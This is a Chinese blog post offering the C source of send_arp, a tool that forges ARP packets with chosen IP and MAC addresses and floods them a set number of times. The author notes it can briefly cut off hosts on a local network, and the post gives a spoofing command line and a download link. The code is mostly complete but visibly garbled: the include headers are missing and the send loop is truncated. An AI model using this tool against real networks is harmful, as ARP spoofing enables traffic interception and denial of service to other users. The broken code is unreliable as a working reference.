Chinaunix首页 | 论坛 | 博客
  • 博客访问: 663514
  • 博文数量: 121
  • 博客积分: 4034
  • 博客等级: 上校
  • 技术积分: 1439
  • 用 户 组: 普通用户
  • 注册时间: 2010-04-28 12:42
文章分类

全部博文(121)

文章存档

2017年(8)

2016年(10)

2013年(2)

2012年(3)

2011年(18)

2010年(80)

分类: LINUX

2010-12-27 01:12:42

开发ARP的时候,发现了这个很好的代码,功能很强大,编译以后,使用ethernel直接观察网络,并能够造成局域网内的短暂性中断。请不要用于恶意攻击。

使用编译以后的程序:
./sendarp 192.168.0.1 000011111111 192.168.0.254 112233445566 1000
程序名称  源IP 源mAC 目的IP 目的MAC 次数

文件:fake-1.1.11.tar.bz2
大小:130KB
下载:下载


/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ETH_HW_ADDR_LEN 6  
#define IP_ADDR_LEN 4  
#define ARP_FRAME_TYPE 0x0806  
#define ETHER_HW_TYPE 1  
#define IP_PROTO_TYPE 0x0800  
#define OP_ARP_REQUEST 2  
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"  
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};  


struct arp_packet  
{  
  u_char targ_hw_addr[ETH_HW_ADDR_LEN];  
  u_char src_hw_addr[ETH_HW_ADDR_LEN];  
  u_short frame_type;  
  u_short hw_type;  
  u_short prot_type;  
  u_char hw_addr_size;  
  u_char prot_addr_size;  
  u_short op;  
  u_char sndr_hw_addr[ETH_HW_ADDR_LEN];  
  u_char sndr_ip_addr[IP_ADDR_LEN];  
  u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];  
  u_char rcpt_ip_addr[IP_ADDR_LEN];  
  u_char padding[18];  
};  

void die (char *);  
void get_ip_addr (struct in_addr *, char *);  
void get_hw_addr (char *, char *);  

int main (int argc, char * argv[])  
{  
  struct in_addr src_in_addr, targ_in_addr;  
  struct arp_packet pkt;  
  struct sockaddr sa;  
  int sock;  
  int j,number;
  if (argc != 6)  
    die(usage);  
  
  sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));  
  if (sock < 0)  
  {  
    perror("socket");  
    exit(1);  
  }  
  
  number=atoi(argv[5]);
  
  pkt.frame_type = htons(ARP_FRAME_TYPE);  
  pkt.hw_type = htons(ETHER_HW_TYPE);  
  pkt.prot_type = htons(IP_PROTO_TYPE);  
  pkt.hw_addr_size = ETH_HW_ADDR_LEN;  
  pkt.prot_addr_size = IP_ADDR_LEN;  
  pkt.op = htons(OP_ARP_QUEST);  
  get_hw_addr(pkt.targ_hw_addr, argv[4]);  
  get_hw_addr(pkt.rcpt_hw_addr, argv[4]);  
  get_hw_addr(pkt.src_hw_addr, argv[2]);  
  get_hw_addr(pkt.sndr_hw_addr, argv[2]);  
  get_ip_addr(&src_in_addr, argv[1]);  
  get_ip_addr(&targ_in_addr, argv[3]);  
  memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);  
  memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);  
  bzero(pkt.padding,18);  
  strcpy(sa.sa_data,DEFAULT_DEVICE);  
  for (j=0;j  {
    if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)  
    {  
      perror("sendto");  
      exit(1);  
    }  
  }
  exit(0);  
}

void die (char *str)  
{  
  fprintf(stderr,"%s\n",str);  
  exit(1);  
}  

void get_ip_addr (struct in_addr *in_addr, char *str)  
{  
  struct hostent *hostp;  
  in_addr->s_addr = inet_addr(str);  
  if(in_addr->s_addr == -1)
  {  
    if ((hostp = gethostbyname(str)))  
      bcopy(hostp->h_addr, in_addr, hostp->h_length);  
    else {  
      fprintf(stderr, "send_arp: unknown host %s\n", str);  
      exit(1);  
    }  
  }  
}

void get_hw_addr (char *buf, char *str)  
{  
  int i;  
  char c, val;  
  for(i = 0; i < ETH_HW_ADDR_LEN; i++)  
  {  
    if (!(c = tolower(*str++)))  
      die("Invalid hardware address");  
    if (isdigit(c))  
      val = c - '0';  
    else if (c >= 'a' && c <= 'f')  
      val = c-'a'+10;  
    else  
      die("Invalid hardware address");  
    *buf = val << 4;  
    if (!(c = tolower(*str++)))  
      die("Invalid hardware address");  
    if (isdigit(c))  
      val = c - '0';  
    else if (c >= 'a' && c <= 'f')  
      val = c-'a'+10;  
    else  
      die("Invalid hardware address");  
    *buf++ |= val;  
    if (*str == ':')  
      str++;  
  }  
}
阅读(3998) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~